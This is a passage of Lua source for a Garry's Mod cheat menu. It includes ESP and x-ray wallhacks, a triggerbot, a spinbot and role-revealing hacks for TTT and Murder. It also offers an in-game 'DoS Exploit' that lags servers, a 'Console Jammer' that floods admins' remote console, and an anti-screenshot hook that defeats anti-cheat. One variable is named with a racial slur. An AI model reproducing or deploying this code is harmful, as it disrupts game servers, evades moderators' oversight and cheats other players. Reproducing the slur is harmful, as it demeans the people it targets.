  1518. end
  1519.  
  1520. local TextEntry = vgui.Create( "DTextEntry", Menu )
  1521. TextEntry:SetPos( 595, 285 )
  1522. TextEntry:SetSize( 195, 25 )
  1523. TextEntry:SetText( GetConVarString("jav_chatspam_msg") )
  1524. TextEntry.OnEnter = function( self )
  1525. LocalPlayer():ConCommand("jav_chatspam_msg "..self:GetValue())
  1526. end
  1527.  
  1528. local LElabel = vgui.Create( "DLabel", Panel )
  1529. LElabel:SetParent(Menu)
  1530. LElabel:SetPos( 595, 265 )
  1531. LElabel:SetText( "Chat Spam Message:" )
  1532. LElabel:SizeToContents()
  1533.  
  1534. local SWbutton = vgui.Create( "DButton" )
  1535. SWbutton:SetParent( Menu )
  1536. SWbutton:SetPos( 10, 520 )
  1537. SWbutton:SetTextColor( Color(255, 255, 255, 255) )
  1538. SWbutton:SetSize( 110, 25 )
  1539. SWbutton:SetToolTip( "leave your body as an invisible ghost and fulfil all your voyeuristic fantasies" )
  1540. SWbutton.Paint = function()
  1541. surface.SetDrawColor( 60, 0, 60, 200 )
  1542. SWbutton:SetText( "Toggle Spirit Walk" )
  1543. surface.DrawRect( 0, 0, SWbutton:GetWide(), SWbutton:GetTall() )
  1544. end
  1545. SWbutton.DoClick = function() RunConsoleCommand("jav_spiritwalk") end
  1546.  
  1547. local Namebutton = vgui.Create( "DButton" )
  1548. Namebutton:SetParent( Menu )
  1549. Namebutton:SetPos( 130, 520 )
  1550. Namebutton:SetTextColor( Color(255, 255, 255, 255) )
  1551. Namebutton:SetSize( 110, 25 )
  1552. Namebutton:SetToolTip( "randomly change your RPname in darkrp to confuse people" )
  1553. Namebutton.Paint = function()
  1554. surface.SetDrawColor( 0, 60, 60, 200 )
  1555. Namebutton:SetText( "Randomize RPname" )
  1556. surface.DrawRect( 0, 0, Namebutton:GetWide(), Namebutton:GetTall() )
  1557. end
  1558. Namebutton.DoClick = function() RunConsoleCommand("jav_newname") end
  1559.  
  1560. local EntFbutton = vgui.Create( "DButton" )
  1561. EntFbutton:SetParent( Menu )
  1562. EntFbutton:SetPos( 250, 520 )
  1563. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1564. EntFbutton:SetSize( 110, 25 )
  1565. EntFbutton:SetToolTip( "Go to the entity finder menu" )
  1566. EntFbutton.Paint = function()
  1567. surface.SetDrawColor( 60, 60, 0, 200 )
  1568. EntFbutton:SetText( "Entity Finder ESP" )
  1569. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1570. end
  1571. EntFbutton.DoClick = function()
  1572. RunConsoleCommand("jav_entfinder_menu")
  1573. Menu:Remove()
  1574. end
  1575.  
  1576. local Lagsploitbutton = vgui.Create( "DButton" )
  1577. Lagsploitbutton:SetParent( Menu )
  1578. Lagsploitbutton:SetPos( 370, 520 )
  1579. Lagsploitbutton:SetTextColor( Color(255, 255, 255, 255) )
  1580. Lagsploitbutton:SetSize( 110, 25 )
  1581. Lagsploitbutton:SetToolTip( "An ingame DoS attack, will cause significant lag on any server running sandbox or a sandbox derived gamemode (AKA most gamemodes except TTT). Multiple people firing this at once will cause even more lag." )
  1582. Lagsploitbutton.Paint = function()
  1583. surface.SetDrawColor( 60, 0, 0, 200 )
  1584. Lagsploitbutton:SetText( "DoS Exploit" )
  1585. surface.DrawRect( 0, 0, Lagsploitbutton:GetWide(), Lagsploitbutton:GetTall() )
  1586. end
  1587. Lagsploitbutton.DoClick = function() if GetConVarNumber("jav_lagsploit") == 0 then LocalPlayer():ConCommand("jav_lagsploit 1") elseif GetConVarNumber("jav_lagsploit") == 1 then LocalPlayer():ConCommand("jav_lagsploit 0") end end
  1588.  
  1589. local JamButton = vgui.Create( "DButton" )
  1590. JamButton:SetParent( Menu )
  1591. JamButton:SetPos( 620, 520 )
  1592. JamButton:SetTextColor( Color(255, 255, 255, 255) )
  1593. JamButton:SetSize( 110, 25 )
  1594. JamButton:SetToolTip( "Floods the remote console with garbage making it impossible for the owners to take any action without actually being on the server" )
  1595. JamButton.Paint = function()
  1596. surface.SetDrawColor( 0, 0, 60, 200 )
  1597. JamButton:SetText( "Console Jammer" )
  1598. surface.DrawRect( 0, 0, JamButton:GetWide(), JamButton:GetTall() )
  1599. end
  1600. JamButton.DoClick = function() LocalPlayer():ConCommand("jav_console_jammer") end
  1601.  
  1602. local LElabel = vgui.Create( "DLabel", Panel )
  1603. LElabel:SetParent(Menu)
  1604. LElabel:SetPos( 485, 523 )
  1605. LElabel:SetText( "DoS Power:" )
  1606. LElabel:SizeToContents()
  1607.  
  1608. local Lagsploitbox = vgui.Create( "DNumberWang" )// Create the checkbox
  1609. Lagsploitbox:SetPos( 545, 520 )
  1610. Lagsploitbox:SetParent(Menu)
  1611. Lagsploitbox:SetMin(0)
  1612. Lagsploitbox:SetMax(1000)
  1613. Lagsploitbox:SetConVar( "jav_lagsploit_power" )
  1614. Lagsploitbox:SetToolTip( "How powerful your lagsploit is in percentage (Default is 80%). This option is kind of redundant with the new lagsploit but i left it in anyway" )
  1615.  
  1616. local nigger = vgui.Create( "DLabel", Menu )
  1617. nigger:SetParent(Menu)
  1618. nigger:SetPos( 595, 30 )
  1619. nigger:SetText( "Colour Scheme" )
  1620. nigger:SizeToContents()
  1621.  
  1622. Mixer = vgui.Create( "DColorMixer", Menu )
  1623. --Mixer:Dock( FILL ) --Make Mixer fill place of Frame
  1624. Mixer:SetPos(595,50)
  1625. Mixer:SetSize(200,200)
  1626. Mixer:SetPalette( true ) --Show/hide the palette DEF:true
  1627. Mixer:SetAlphaBar( true ) --Show/hide the alpha bar DEF:true
  1628. Mixer:SetWangs( true ) --Show/hide the R G B A indicators DEF:true
  1629. Mixer:SetColor( GColScheme ) --Set the default color
  1630. Mixer.ValueChanged = function(Mixer, color)
  1631. GColScheme = color
  1632. --LocalPlayer():ConCommand("jav_colour_r "..color.r)
  1633. --LocalPlayer():ConCommand("jav_colour_g "..color.g)
  1634. --LocalPlayer():ConCommand("jav_colour_b "..color.b)
  1635. end
  1636.  
  1637. end)
  1638.  
  1639. /*------------------------------------------
  1640. ESP
  1641. ------------------------------------------*/
  1642. local function JavESP()
  1643. local ColScheme2 = Color(GColScheme.r, GColScheme.g, GColScheme.b, 255)
  1644. local ColScheme3 = Color(math.Clamp(ColScheme2.r + 100, 0, 255), math.Clamp(ColScheme2.g + 100, 0, 255), math.Clamp(ColScheme2.b + 100, 0, 255), 255)
  1645. local ColScheme4 = Color(math.Clamp(ColScheme2.r - 100, 0, 255), math.Clamp(ColScheme2.g - 100, 0, 255), math.Clamp(ColScheme2.b - 100, 0, 255), 255)
  1646. if GetConVarNumber("jav_esp_enabled") == 1 then
  1647. for k, e in pairs( player.GetAll() ) do
  1648. local TeamColor = team.GetColor(e:Team())
  1649. local Dist = math.floor(e:GetPos():Distance(LocalPlayer():GetPos()))
  1650. local DrawDist = (GetConVarNumber("jav_esp_distance") / 0.02)
  1651. local Meters = (math.floor(Dist * 0.02))
  1652. local CircleSize = Dist / Dist * 10
  1653. local wep = "Unknown"
  1654. local SteamID = e:SteamID()
  1655. local Name = e:Nick()
  1656. local Group = e:GetUserGroup()
  1657. local plypos = ( e:GetPos() + Vector( 0, 0, 40 ) ):ToScreen();
  1658. local maxX, minX, maxY, minY, maxX2, minX2, maxY2, minY2, minYhp, maxYhp = CreatePos( e )
  1659. local derp = (( e:GetPos() + e:GetVelocity() / 2) + Vector(0,0,40)):ToScreen()
  1660. local derp2 = (( e:GetPos() + e:GetVelocity() / 4) + Vector(0,0,40)):ToScreen()
  1661.  
  1662.  
  1663. if ( e != LocalPlayer() && IsCloseEnough(e)) then
  1664. if (Dist < DrawDist) then
  1665. if GetConVarNumber("jav_esp_position") == 1 && GetConVarNumber("jav_esp_budget") == 0 then
  1666. if e:Alive() then
  1667. if e:GetFriendStatus() == "friend" then
  1668. surface.DrawCircle(plypos.x, plypos.y, CircleSize, Color(0,255,0,255))
  1669. elseif Group ~= "user" then
  1670. surface.DrawCircle(plypos.x, plypos.y, CircleSize, ColScheme3)
  1671. else
  1672. surface.DrawCircle(plypos.x, plypos.y, CircleSize, ColScheme2)
  1673. end
  1674. surface.DrawCircle(plypos.x, plypos.y, CircleSize - 3, ColScheme4)
  1675.  
  1676. else
  1677. surface.SetDrawColor(255,255,255,255)
  1678. surface.DrawLine( plypos.x - 10, plypos.y - 10, plypos.x +10 , plypos.y + 10 )
  1679. surface.DrawLine( plypos.x + 10, plypos.y - 10, plypos.x - 10 , plypos.y + 10 )
  1680. end
  1681. elseif GetConVarNumber("jav_esp_position") == 1 && GetConVarNumber("jav_esp_budget") == 1 then
  1682. surface.SetDrawColor(255,255,255,255)
  1683. surface.DrawRect( plypos.x - 4, plypos.y - 4, 8 , 8 )
  1684. end
  1685. if GetConVarNumber("jav_esp_box") == 1 then
  1686. surface.SetDrawColor(255,150,0,255)
  1687. surface.DrawLine( maxX, maxY, maxX, minY )
  1688. surface.DrawLine( maxX, minY, minX, minY )
  1689. surface.DrawLine( minX, minY, minX, maxY )
  1690. surface.DrawLine( minX, maxY, maxX, maxY )
  1691. end
  1692. if GetConVarNumber("jav_esp_velocity") == 1 then
  1693. surface.DrawCircle(derp.x, derp.y, CircleSize +3, ColScheme2)
  1694. surface.DrawCircle(derp2.x, derp2.y, CircleSize - 6, ColScheme2)
  1695. end
  1696. if GetConVarNumber("jav_esp_names") == 1 then
  1697. if GetConVarNumber("jav_esp_budget") == 1 then
  1698. draw.SimpleText( Name, "Trebuchet18", plypos.x - 15, plypos.y - 20, ColScheme3,4,1)
  1699. else
  1700. draw.SimpleTextOutlined( Name, "Trebuchet18", plypos.x - 15, plypos.y - 20, ColScheme3,4,1,1,Color(0,0,0))
  1701. end
  1702. end
  1703.  
  1704. if GetConVarNumber("jav_ttthax") == 1 && e.HatTraitor == true then
  1705. draw.SimpleTextOutlined( "TRAITOR", "Trebuchet18", plypos.x - 20, plypos.y - 35, Color(255,0,0),4,1,1,Color(0,0,0))
  1706. end
  1707.  
  1708.  
  1709. if GetConVarNumber("jav_esp_showtargetdistance") == 1 then
  1710. if GetConVarNumber("jav_esp_budget") == 1 then
  1711. draw.SimpleText( Meters.."m", "Trebuchet18", plypos.x - 12, plypos.y + 20, ColScheme4,4,1)
  1712. else
  1713. draw.SimpleTextOutlined( Meters.."m", "Trebuchet18", plypos.x - 12, plypos.y + 20, ColScheme4,4,1,1,Color(0,0,0))
  1714. end
  1715. end
  1716.  
  1717. if GetConVarNumber("jav_esp_admin") == 1 then
  1718. if Group ~= "user" then
  1719. if GetConVarNumber("jav_esp_budget") == 1 then
  1720. draw.SimpleText( Group, "Trebuchet18", plypos.x - 12, plypos.y + 35, Color(200,200,200,255),4,1)
  1721. else
  1722. draw.SimpleTextOutlined( Group, "Trebuchet18", plypos.x - 12, plypos.y + 35, Color(200,200,200,255),4,1,1,Color(0,0,0))
  1723. end
  1724. end
  1725. end
  1726.  
  1727. end
  1728. end
  1729. end
  1730. end
  1731. end
  1732. hook.Add("HUDPaint", "JavESP", JavESP)
  1733.  
  1734. /*------------------------------------------
  1735. Xray
  1736. ------------------------------------------*/
  1737.  
  1738. local Matinfo = {
  1739. ["$basetexture"] = "models/debug/debugwhite",
  1740. ["$model"] = 1,
  1741. ["$nocull"] = 1,
  1742. ["$ignorez"] = 1
  1743. }
  1744.  
  1745. mat1 = (CreateMaterial( "chams", "VertexLitGeneric", Matinfo ))
  1746. mat2 = (CreateMaterial( "wireframe", "Wireframe", Matinfo ))
  1747. trans = Color(0, 255, 0, 80)
  1748. trans2 = Color(0, 255, 100)
  1749. trans3 = Color(255, 155, 0, 200)
  1750.  
  1751. function Xray()
  1752. local ColScheme = Color(GColScheme.r, GColScheme.g, GColScheme.b, 100)
  1753. local ColSchemeV = Vector(ColScheme.r / 255, ColScheme.g / 255, ColScheme.b / 255)
  1754. local ColSchemeV2 = Vector(math.Clamp(ColSchemeV.x + 0.2, 0, 1), math.Clamp(ColSchemeV.y + 0.5, 0, 1), math.Clamp(ColSchemeV.z + 0.2, 0, 1))
  1755. local Dist = (GetConVarNumber("jav_xray_distance") / 0.02 )
  1756. if !xray then
  1757. xray = true
  1758. hook.Add("HUDPaint", "xxrayz", function()
  1759. for k,v in pairs(ents.GetAll()) do
  1760. local position = (v:GetPos()+Vector(0,0,80)):ToScreen()
  1761. if v:GetClass()== "prop_physics" and position.x<ScrW() and position.x>0 and position.y<ScrH() and position.y>0 and (LocalPlayer():GetPos():Distance(v:GetPos()) < Dist) then
  1762. cam.Start3D(EyePos(),EyeAngles())
  1763. v:SetMaterial(mat2)
  1764. v:SetRenderMode(4)
  1765. v:SetColor(ColScheme)
  1766. render.SuppressEngineLighting( true )
  1767. render.MaterialOverride( mat1 )
  1768. render.SetColorModulation( ColSchemeV.x, ColSchemeV.y, ColSchemeV.z)
  1769. render.SetBlend(0.3)
  1770. v:DrawModel()
  1771. render.SetBlend(1)
  1772. render.SuppressEngineLighting( false )
  1773. render.MaterialOverride( )
  1774. cam.End3D()
  1775. elseif v:GetClass()==("prop_door_rotating") or v:GetClass()==("func_door_rotating") then
  1776. v:SetMaterial("models/wireframe")
  1777. v:SetColor(ColScheme)
  1778. elseif v:IsPlayer() && v:Alive() then
  1779. cam.Start3D(EyePos(),EyeAngles())
  1780. v:SetMaterial(mat2)
  1781. v:SetRenderMode(4)
  1782. v:SetColor(ColScheme)
  1783. render.SuppressEngineLighting( true )
  1784. render.MaterialOverride( mat1 )
  1785. render.SetColorModulation( ColSchemeV2.x, ColSchemeV2.y, ColSchemeV2.z )
  1786. render.SetBlend(0.3)
  1787. v:DrawModel()
  1788. render.SetBlend(1)
  1789. render.SuppressEngineLighting( false )
  1790. render.MaterialOverride( )
  1791. cam.End3D()
  1792. end
  1793. end
  1794. end)
  1795. elseif xray then
  1796. xray = false
  1797. for k,v in pairs(ents.GetAll()) do
  1798. if v:GetClass()==("prop_door_rotating") or v:GetClass()==("func_door_rotating") or v:GetClass()== "prop_physics" or v:IsPlayer() then
  1799. v:SetMaterial("")
  1800. v:SetColor(Color(255,255,255))
  1801. end
  1802. end
  1803. hook.Remove("HUDPaint", "xxrayz")
  1804. end
  1805. end
  1806. concommand.Add("jav_xray_toggle",Xray)
  1807.  
  1808.  
  1809.  
  1810. /*------------------------------------------
  1811. Crosshair
  1812. ------------------------------------------*/
  1813. hook.Add( "HUDPaint", "jav_crosshair", function( )
  1814. if GetConVarNumber("jav_crosshair_enabled") == 1 then
  1815. surface.DrawCircle(ScrW()/2, ScrH()/2, 14, Color(255,100,0,255))
  1816. surface.DrawCircle(ScrW()/2, ScrH()/2, 2, Color(75,0,0,255))
  1817. end
  1818. end)
  1819.  
  1820. /*------------------------------------------
  1821. Rear Vision Mirror
  1822. ------------------------------------------*/
  1823. hook.Add( "HUDPaint", "jav_mirror", function( )
  1824. if GetConVarNumber("jav_mirror_enabled") == 1 then
  1825. local CamData = {}
  1826. local ang = LocalPlayer():EyeAngles()
  1827. CamData.angles = Angle(ang.p - ang.p - ang.p, ang.y - 180, ang.r)
  1828. CamData.origin = LocalPlayer():GetShootPos()
  1829. CamData.x, CamData.y, CamData.w, CamData.h = 1620, 0, 300, 300
  1830. render.RenderView( CamData )
  1831. draw.RoundedBox(1, (ScrW() / 2) - 1.5, (ScrH() / 2) - 1.5, 3, 3, Color(255,255,255,255))
  1832. end
  1833. end )
  1834.  
  1835.  
  1836. /*------------------------------------------
  1837. Triggerbot
  1838. ------------------------------------------*/
  1839.  
  1840. local toggler = 0
  1841.  
  1842. local function triggerbot(cmd)
  1843. if GetConVarNumber("jav_triggerbot_enabled") == 1 then
  1844. if LocalPlayer():Alive() then
  1845. local td = {start = LocalPlayer():GetShootPos(), endpos = LocalPlayer():GetShootPos() + LocalPlayer():EyeAngles():Forward() * 65535, filter = LocalPlayer(), mask = MASK_SHOT}
  1846. local tr = util.TraceLine(td)
  1847. local target = tr.Entity
  1848. if target:IsValid() then
  1849. if IsValid(LocalPlayer():GetActiveWeapon()) then
  1850. if LocalPlayer():GetActiveWeapon():Clip1() > 0 then
  1851. if target:IsPlayer() or target:IsNPC() then
  1852. if toggler == 0 then
  1853. cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
  1854. toggler = 1
  1855. else
  1856. cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
  1857. toggler = 0
  1858. end
  1859. end
  1860. end
  1861. end
  1862. end
  1863. end
  1864. end
  1865. end
  1866.  
  1867. hook.Add("CreateMove", "triggerbot", triggerbot)
  1868.  
  1869. /*------------------------------------------
  1870. TTT Magneto Toss
  1871. ------------------------------------------*/
  1872.  
  1873. function SpinBot()
  1874. timer.Simple(.02,Turn)
  1875. timer.Simple(.04,Turn)
  1876. timer.Simple(.06,Turn)
  1877. timer.Simple(.08,Turn)
  1878. timer.Simple(.10,Turn)
  1879. timer.Simple(.12,Turn)
  1880. timer.Simple(.14,Turn)
  1881. timer.Simple(.16,Turn)
  1882. timer.Simple(.18,Turn)
  1883. timer.Simple(.20,Turn)
  1884. timer.Simple(.22,Turn)
  1885. timer.Simple(.24,Turn)
  1886. timer.Simple(.26,Turn)
  1887. timer.Simple(.28,Turn)
  1888. timer.Simple(.30,Turn)
  1889. timer.Simple(.32,Turn)
  1890. timer.Simple(.34,Turn)
  1891. timer.Simple(.36,Turn)
  1892. timer.Simple(.38,Turn)
  1893. timer.Simple(.40,Turn)
  1894. timer.Simple(.42,Turn)
  1895. timer.Simple(.44,Turn)
  1896. timer.Simple(.46,Turn)
  1897. timer.Simple(.48,Turn)
  1898. timer.Simple(.50,Turn)
  1899. timer.Simple(.52,Turn)
  1900. timer.Simple(.54,Turn)
  1901. timer.Simple(.56,Turn)
  1902. timer.Simple(.58,Turn)
  1903. timer.Simple(.60,Turn)
  1904. timer.Simple(.62,Turn)
  1905. timer.Simple(.64,Turn)
  1906. timer.Simple(.66,Turn)
  1907. timer.Simple(.68,Turn)
  1908. timer.Simple(.70,Turn)
  1909. timer.Simple(.72,Turn)
  1910. end
  1911.  
  1912. function Turn()
  1913. -- Turn function
  1914. LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
  1915. end
  1916.  
  1917. local spinning = false
  1918. concommand.Add( "jav_spinbot", function()
  1919. spinning = !spinning
  1920. if( spinning ) then
  1921. SpinBot()
  1922. timer.Create( "spinning", 0.74, 0, function()
  1923. SpinBot()
  1924. end )
  1925. else
  1926. timer.Destroy( "spinning" )
  1927. end
  1928. end )
  1929.  
  1930. /*------------------------------------------
  1931. Bhop Script
  1932. ------------------------------------------*/
  1933. hook.Add( "CreateMove", "jav_bhop", function( cmd )
  1934.  
  1935. if GetConVarNumber("jav_bhop_enabled") == 1 then
  1936. if !LocalPlayer():IsFlagSet( FL_ONGROUND ) then
  1937. cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_JUMP ) ) )
  1938. end
  1939. end
  1940.  
  1941. end )
  1942.  
  1943. /*------------------------------------------
  1944. Auto Clicker
  1945. ------------------------------------------*/
  1946.  
  1947. local spam = 0
  1948.  
  1949. local function autoclick(cmd)
  1950. if GetConVarNumber("jav_autoclick_enabled") == 1 then
  1951. if LocalPlayer():Alive() && input.IsMouseDown( 107 ) then
  1952. if spam == 0 then
  1953. cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
  1954. spam = 1
  1955. else
  1956. cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
  1957. spam = 0
  1958. end
  1959. end
  1960.  
  1961. if LocalPlayer():Alive() && input.IsMouseDown( 108 ) then
  1962. if spam == 0 then
  1963. cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK2))
  1964. spam = 1
  1965. else
  1966. cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK2)))
  1967. spam = 0
  1968. end
  1969. end
  1970.  
  1971. end
  1972. end
  1973.  
  1974. hook.Add("CreateMove", "autoclick2", autoclick)
  1975.  
  1976. /*------------------------------------------
  1977. Flashlight Spammer
  1978. ------------------------------------------*/
  1979.  
  1980. hook.Add( "Think", "jav_flashlight", function()
  1981.  
  1982. if GetConVarNumber("jav_flashlight_enabled") == 1 && input.IsKeyDown(KEY_F) then
  1983. LocalPlayer():ConCommand("impulse 100")
  1984. end
  1985.  
  1986. end )
  1987.  
  1988.  
  1989. /*------------------------------------------
  1990. Admin Detector
  1991. ------------------------------------------*/
  1992.  
  1993. concommand.Add("jav_printadmins", function()
  1994. local plys = player.GetAll()
  1995. for k, v in pairs(plys) do
  1996. if v:GetNWString("usergroup") != "user" then
  1997. print(v:GetName() .. string.rep("\t", math.Round(8 / #v:GetName())), v:GetNWString("usergroup"))
  1998. end
  1999. end
  2000. end)
  2001.  
  2002.  
  2003. concommand.Add("jav_toggle", function()
  2004. if GetConVarNumber("jav_autoaim_enabled") == 0 then
  2005. LocalPlayer():ConCommand("jav_autoaim_enabled 1")
  2006. elseif GetConVarNumber("jav_autoaim_enabled") == 1 then
  2007. LocalPlayer():ConCommand("jav_autoaim_enabled 0")
  2008. end
  2009. end)
  2010.  
  2011. /*------------------------------------------
  2012. Witness Script
  2013. ------------------------------------------*/
  2014.  
  2015. local Cap = math.cos(math.rad(45))
  2016. local Offset = Vector(0, 0, 32)
  2017. local Trace = {}
  2018. local WitnessColor = Color (0,0,0)
  2019.  
  2020. function Draw()
  2021. if GetConVarNumber("jav_witness_enabled") == 1 then
  2022. local Time = os.time() - 1
  2023. local Witnesses = 0
  2024. local BeingWitnessed = true
  2025.  
  2026. if Time < os.time() then
  2027. Time = os.time() + .5
  2028. Witnesses = 0
  2029. BeingWitnessed = false
  2030. for k, pla in pairs(player.GetAll()) do
  2031. if pla:IsValid() and pla != LocalPlayer() then
  2032. Trace.start = LocalPlayer():EyePos() + Offset
  2033. Trace.endpos = pla:EyePos() + Offset
  2034. Trace.filter = {pla, LocalPlayer()}
  2035.  
  2036. TraceRes = util.TraceLine(Trace)
  2037.  
  2038. if !TraceRes.Hit then
  2039. if (pla:EyeAngles():Forward():Dot((LocalPlayer():EyePos() - pla:EyePos())) > Cap) then
  2040. Witnesses = Witnesses + 1
  2041. BeingWitnessed = true
  2042.  
  2043. end
  2044. end
  2045. end
  2046. end
  2047. end
  2048.  
  2049. if BeingWitnessed == false then
  2050. WitnessColor = Color (200,150,0)
  2051. else
  2052. WitnessColor = Color (255,0,0)
  2053. end
  2054. draw.SimpleTextOutlined( Witnesses.." People can see you", "Trebuchet18", (ScrW() / 2) - 65, 30, Color(255,150,0),4,1,1,Color(0,0,0))
  2055. surface.SetDrawColor( WitnessColor )
  2056. surface.DrawRect( (ScrW() / 2) - 65, 40, 120, 4 )
  2057.  
  2058. end
  2059. end
  2060. hook.Add("HUDPaint", "WitnessesBox", Draw)
  2061.  
  2062. /*------------------------------------------
  2063. Anti Screenshot (taken from lennys scripts)
  2064. ------------------------------------------*/
  2065.  
  2066.  
  2067. local missingpng = file.Read("materials/missing256.png", "GAME")
  2068.  
  2069. local noided_dummy = "iVBORw0KGgoAAAANSUhEUgAAAAcAAAAECAIAAADNpLIqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYSURBVBhXY2BgYmBmYGFgZEAFlIkyMAAACDAAKdIBq3cAAAAASUVORK5CYII="
  2070.  
  2071. /*
  2072. ###############
  2073. ACTUAL SCRIPT
  2074. ###############
  2075. */
  2076. local actualRenderCapture = _G.render.Capture
  2077. local encodeData = util.Base64Encode;
  2078.  
  2079. local enabled = CreateClientConVar("jav_antiscreenshot", "1")
  2080. local function antiscreenshot()
  2081. if enabled:GetBool() then
  2082. _G.render.Capture = function(data)
  2083. if data.format == "jpeg" then
  2084. return missingpng
  2085. elseif data.format == "png" then
  2086. return missingpng
  2087. end
  2088. end
  2089.  
  2090. util.Base64Encode = function( str )
  2091. local encoding = encodeData( missingpng );
  2092.  
  2093. return( noided_dummy );
  2094. end
  2095. else
  2096. _G.render.Capture = actualRenderCapture
  2097. util.Base64Encode = encodeData;
  2098. end
  2099. end
  2100. antiscreenshot()
  2101. cvars.AddChangeCallback("jav_antiscreenshot", antiscreenshot)
  2102.  
  2103.  
  2104. /*------------------------------------------
  2105. Murder Hax (originally coded by deagler)
  2106. ------------------------------------------*/
  2107.  
  2108.  
  2109. local function murderhaks()
  2110. if GetConVarNumber("jav_murderhax") == 1 then
  2111. for _,v in pairs (player.GetAll()) do
  2112. for k2, v2 in pairs(v:GetWeapons()) do
  2113. if string.find(v2:GetPrintName(), "Knife") then
  2114. local man = v2.Owner
  2115. local pos = (man:GetPos() + Vector(0,0,60)):ToScreen()
  2116. local col = man:GetPlayerColor()
  2117.  
  2118. draw.SimpleTextOutlined( "Murderer!", "Trebuchet20", plypos.x - 32, plypos.y - 40, Color(255, 0, 0),4,1,1,Color(0,0,0))
  2119. end
  2120. if string.find(v2:GetPrintName(), "Magnum") and v2.Owner then
  2121. local man = v2.Owner
  2122. local pos = (man:GetPos() + Vector(0,0,60)):ToScreen()
  2123. local col = man:GetPlayerColor()
  2124.  
  2125. draw.SimpleTextOutlined( "Gun Holder", "Trebuchet20", plypos.x - 36, plypos.y - 40, Color(255, 255, 0),4,1,1,Color(0,0,0))
  2126. end
  2127. end
  2128. end
  2129.  
  2130.  
  2131. for b,c in pairs(ents.FindByClass("mu_loot")) do
  2132. local pos = ( c:GetPos() + Vector( 0,0,30 ) ):ToScreen()
  2133. local LootDist = (math.floor(c:GetPos():Distance(LocalPlayer():GetPos())) / 0.02)
  2134. draw.SimpleTextOutlined( "Loot "..LootDist.."m", "Trebuchet18", pos.x, pos.y, Color( 0, 255, 0, 255 ),4,1,1,Color(0,0,0))
  2135. end
  2136. end
  2137. end
  2138.  
  2139. hook.Add("RenderScreenspaceEffects", "murderhax", murderhaks)
  2140.  
  2141. /*------------------------------------------
  2142. TTT Hax
  2143. ------------------------------------------*/
  2144.  
  2145. local matOverlay = Material( "sprites/glow08" )
  2146. local matTraitor = Material( "sprites/dot" )
  2147. local twep = {"spiderman's_swep", "weapon_ttt_trait_defilibrator", "weapon_ttt_xbow", "weapon_ttt_dhook", "weapon_awp", "weapon_ttt_ak47", "weapon_jihadbomb", "weapon_ttt_knife", "weapon_ttt_c4", "weapon_ttt_decoy", "weapon_ttt_flaregun", "weapon_ttt_phammer", "weapon_ttt_push", "weapon_ttt_radio", "weapon_ttt_sipistol", "weapon_ttt_teleport", "weapon_ttt_awp", "weapon_mad_awp", "weapon_real_cs_g3sg1", "weapon_ttt_cvg_g3sg1", "weapon_ttt_g3sg1", "weapon_ttt_healthstation5", "weapon_ttt_sentry", "weapon_ttt_poison_dart", "weapon_ttt_trait_defibrillator"}
  2148.  
  2149. for _,v in pairs(player.GetAll()) do
  2150. v.HatTraitor = nil
  2151. end
  2152. for _,v in pairs(ents.GetAll()) do
  2153. v.HatESPTracked = nil
  2154. end
  2155.  
  2156. hook.Add("PostDrawOpaqueRenderables", "wire_animations_idle", function()
  2157. if GetConVarNumber("jav_ttthax") == 1 then
  2158. if GAMEMODE.round_state != ROUND_ACTIVE then
  2159. for _,v in pairs(player.GetAll()) do
  2160. v.HatTraitor = nil
  2161. end
  2162. for _,v in pairs(ents.GetAll()) do
  2163. v.HatESPTracked = nil
  2164. end
  2165. return
  2166. end
  2167. for _,v in pairs( ents.GetAll() ) do
  2168. if v and IsValid(v) and (table.HasValue(twep, v:GetClass()) and !v.HatESPTracked) then
  2169. local pl = v.Owner
  2170. if pl and IsValid(pl) and pl:IsTerror() then
  2171. if pl:IsDetective() then
  2172. v.HatESPTracked = true
  2173. else
  2174. v.HatESPTracked = true
  2175. pl.HatTraitor = true
  2176. chat.AddText( pl, Color(255,125,0), " is a ",Color(255,0,0), "TRAITOR",Color(255,125,0), " with a ",Color(255,0,0),v:GetClass().."!")
  2177. end
  2178. end
  2179. end
  2180. end
  2181.  
  2182. end
  2183.  
  2184. end)
  2185.  
  2186. /*------------------------------------------
  2187. DarkRP name changer (taken from lennys scripts)
  2188. ------------------------------------------*/
  2189.  
  2190. firstname = {
  2191. "Richard",
  2192. "Jack",
  2193. "John",
  2194. "Luke",
  2195. "Cameron",
  2196. "Joe",
  2197. "Peter",
  2198. "Aaron",
  2199. "Chris",
  2200. "Matthew",
  2201. "Paul",
  2202. "Floyd",
  2203. "Trevor",
  2204. "Travis",
  2205. "Owen",
  2206. "Seth",
  2207. "Nathan",
  2208. "Alan",
  2209. "Dale",
  2210. "Albert",
  2211. "Blake",
  2212. "William",
  2213. "Ben",
  2214. "Bruce",
  2215. "Byron",
  2216. "Brad",
  2217. "Carlos",
  2218. "Craig",
  2219. "Cory",
  2220. "Cole",
  2221. "Carter",
  2222. "Connor",
  2223. "Duncan",
  2224. "Dwight",
  2225. "Dominic",
  2226. "Eli",
  2227. "Derrick",
  2228. "Brett",
  2229. "Brian",
  2230. "Charles",
  2231. "Isaac",
  2232. "Gavin",
  2233. "Dylan",
  2234. "Elvis",
  2235. "Kyle",
  2236. "Kurt",
  2237. "Kevin",
  2238. "Justin",
  2239. "Michael",
  2240. "Max",
  2241. "Mario",
  2242. "Leonardo",
  2243. "Liam",
  2244. "Norman",
  2245. "Oliver",
  2246. "Ray",
  2247. "Troy",
  2248. "Xavier",
  2249. "Zack",
  2250. "Alanna",
  2251. "Abby",
  2252. "Alice",
  2253. "Amber",
  2254. "Beatrice",
  2255. "Beth",
  2256. "Bridget",
  2257. "Kate",
  2258. "Clara",
  2259. "Carol",
  2260. "Cassie",
  2261. "Jane",
  2262. "Fiona",
  2263. "Cynthia",
  2264. "Deborah",
  2265. "Denise",
  2266. "Diana",
  2267. "Elise",
